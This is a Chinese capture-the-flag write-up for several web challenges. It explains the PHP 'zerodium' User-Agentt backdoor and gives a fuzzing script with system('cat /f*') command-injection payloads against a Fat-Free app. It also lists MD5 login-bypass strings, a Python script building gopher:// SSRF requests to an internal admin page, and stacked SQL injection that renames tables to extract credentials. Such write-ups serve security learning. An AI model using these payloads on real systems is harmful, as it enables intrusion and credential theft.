根据提示直接在网上搜新闻。
这个后门代码很简单,它被加到zlib扩展里,当发现请求User-Agentt中包含字符串zerodium时,则用eval执行User-Agent第8位字符后内容。黑客大概是希望传入并执行zerodiumphpinfo();这样的内容。
也就是说zerodiumsystem将会有system函数的功能。 payload:
在网站上下载下来源码,修改index.php后本地搭建。 开启报错后爆出关键内容 找到代码位置
其中$key为我们传入的a的内容. 过程是unset触发__unset 接着进入offsetunset 最后进入clear函数。
现在的目的就是绕过函数。 懒得分析了,直接测试几个常见的。打印一下输出
直接跑一遍字符
import requests
from urllib.parse import quote
url="http://127.0.0.1/fatfree/index.php?a="
for i in range(128):
if("1))" in requests.get(url+"1"+quote(chr(i))+"1)").text):
print(quote(chr(i)))
输出
%0A
%5B
%5D
也就是说%0a 、 [ 、] 直接随便拿一个就可以绕过了。 payload1
a=1[1]);system('cat /f*');//
payload2 a=1%0a);system('cat /f*');//
根据提示直接扔密码
ffifdyop
129581926211651571912466741651878684928
发现第二个可以用 进入gopher页面 过滤了file http://,看来就是想让我们用gopher了。 构造ssrf的payload
import requests
from urllib.parse import quote
cmd="username=1'||1#&password=123"
url="http://eci-2zecqhthq774sc0sy6u0.cloudeci1.ichunqiu.com/"
sess=requests.session()
r1=sess.get(url+'?password=129581926211651571912466741651878684928')
data='''POST /admin.php HTTP/1.1
Host: eci-2zecqhthq774sc0sy6u0.cloudeci1.ichunqiu.com
Content-Type:application/x-www-form-urlencoded
Content-Length: '''+str(len(cmd))+'''
'''+cmd+'''
'''
data=quote(data)
data=data.replace('%0a','%0d%0a')
print(url+"/ssrf.php?way=gopher://127.0.0.1:80/_"+quote(data))
r2=sess.get(url+"/ssrf.php?way=gopher://127.0.0.1:80/_"+quote(data))
print(r2.text)
经过尝试发现过滤了select等关键字,然后发现可以堆叠注入,直接show tables 看下。
说明我们要的用户名密码再第二个表里面,但是查询的是第一个。 类似于19年强网杯的随便注。直接修改表名。
cmd="username=1'||1;rename table `fake_admin` to `a`;rename table `real_admin_here_do_you_find` to `fake_admin`;;#&password=password"
接着直接一句话查出来真正的用户名密码 cmd="username=1'||1#&password=password"
得到用户名密码,然后怎么也进不去flag.php 把admin_inner改成admin就可以了。。。。。。。。。。。。。。。。
cmd="username=admin&password=5fb4e07de914cfc82afb44vbaf402203"
修改cookie直接访问flag.php就可以了